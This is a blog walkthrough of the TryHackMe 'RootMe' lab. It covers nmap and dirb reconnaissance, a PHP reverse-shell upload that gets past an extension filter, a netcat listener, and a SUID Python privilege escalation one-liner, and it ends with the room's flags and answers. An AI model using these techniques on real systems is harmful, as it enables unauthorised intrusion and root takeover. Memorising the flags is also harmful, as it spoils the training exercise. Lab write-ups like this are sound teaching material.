Zpět na blog
TryHackMe: RootMe WalkThrough
TryHackMe: RootMe WalkThrough#### Welcome to TryHackMe writeup/walkthrough on the RootMe room.
Recon
└─# nmap -sV -sC -vv 10.10.215.200PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9irIQxn1jiKNjwLFTFBitstKOcP7gYt7HQsk6kyRQJjlkhHYuIaLTtt1adsWWUhAlMGl+97TsNK93DijTFrjzz4iv1Zwpt2hhSPQG0GibavCBf5GVPb6TitSskqpgGmFAcvyEFv6fLBS7jUzbG50PDgXHPNIn2WUoa2tLPSr23Di3QO9miVT3+TqdvMiphYaz0RUAD/QMLdXipATI5DydoXhtymG7Nb11sVmgZ00DPK+XJ7WB++ndNdzLW9525v4wzkr1vsfUo9rTMo6D6ZeUF8MngQQx5u4pA230IIXMXoRMaWoUgCB6GENFUhzNrUfryL02/EMt5pgfj8G7ojx5| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBERAcu0+Tsp5KwMXdhMWEbPcF5JrZzhDTVERXqFstm7WA/5+6JiNmLNSPrqTuMb2ZpJvtL9MPhhCEDu6KZ7q6rI=| 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC4fnU3h1O9PseKBbB/6m5x8Bo3cwSPmnfmcWQAVN93J80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: HackIT - Home| http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set| http-methods: |_ Supported Methods: GET HEAD POST OPTIONSService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
└─# dirb http://10.10.63.177 -w /usr/share/wordlists/dirb/common.txt---- Scanning URL: http://10.10.63.177/ ----==> DIRECTORY: http://10.10.63.177/css/+ http://10.10.63.177/index.php (CODE:200|SIZE:616)==> DIRECTORY: http://10.10.63.177/js/==> DIRECTORY: http://10.10.63.177/panel/+ http://10.10.63.177/server-status (CODE:403|SIZE:277)==> DIRECTORY: http://10.10.63.177/uploads/
Subpage /panel
Hmm probably a reverse shell ;)
Go to pentestmonkey and download php reverse shell.
Edit IP in .php file and upload to website.
$ip = '10.9.102.33'; // CHANGE THIS for your VPN IP
.php files not permited. Try change php to .php5
Great file is upload. Now we need find file and try run.
Subpage /uploads
open nc and setup to listen on port 1234
└─# nc -lvnp 1234 listening on [any] 1234 ...
now click to php-reverse-shell.php7 file
Welcome to shell
└─# nc -lvnp 1234 listening on [any] 1234 ...connect to [10.9.102.33] from (UNKNOWN) [10.10.188.229] 58748Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 19:41:51 up 15 min, 0 users, load average: 0.00, 0.08, 0.16USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can't access tty; job control turned off
Lets find user.txt file
$ find / -name user.txt/var/www/user.txt$ cat /var/www/user.txtTHM{y0u_g0t_a_sh3ll}
Privilege Escalation
We need find file with root permissions and SUID bit.
$ find -type f -user root -perm -u=s./usr/lib/dbus-1.0/dbus-daemon-launch-helper./usr/lib/snapd/snap-confine./usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic./usr/lib/eject/dmcrypt-get-device./usr/lib/openssh/ssh-keysign./usr/lib/policykit-1/polkit-agent-helper-1./usr/bin/traceroute6.iputils./usr/bin/newuidmap./usr/bin/newgidmap./usr/bin/chsh./usr/bin/python./usr/bin/chfn./usr/bin/gpasswd./usr/bin/sudo./usr/bin/newgrp./usr/bin/passwd./usr/bin/pkexec
Interesting, there is python. So let’s try to find GTFOBins for Python.
$ cd /usr/bin/python$ ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'whoamirootls -all /roottotal 40drwx------ 6 root root 4096 Aug 4 2020 .drwxr-xr-x 24 root root 4096 Aug 4 2020 ..-rw------- 1 root root 1423 Aug 4 2020 .bash_history-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrcdrwx------ 2 root root 4096 Aug 4 2020 .cachedrwx------ 3 root root 4096 Aug 4 2020 .gnupgdrwxr-xr-x 3 root root 4096 Aug 4 2020 .local-rw-r--r-- 1 root root 148 Aug 17 2015 .profiledrwx------ 2 root root 4096 Aug 4 2020 .ssh-rw-r--r-- 1 root root 26 Aug 4 2020 root.txtcat /root/root.txtTHM{pr1v1l3g3_3sc4l4t10n}
Answers
Scan the machine, how many ports are open? 2
**What version of Apache is running? **2.4.29
**What service is running on port 22? **SSH
**What is the hidden directory? **/panel/
**user.txt **THM{y0u_g0t_a_sh3ll}
**Search for files with SUID permission, which file is weird? **/usr/bin/python
**root.txt **THM{pr1v1l3g3_3sc4l4t10n}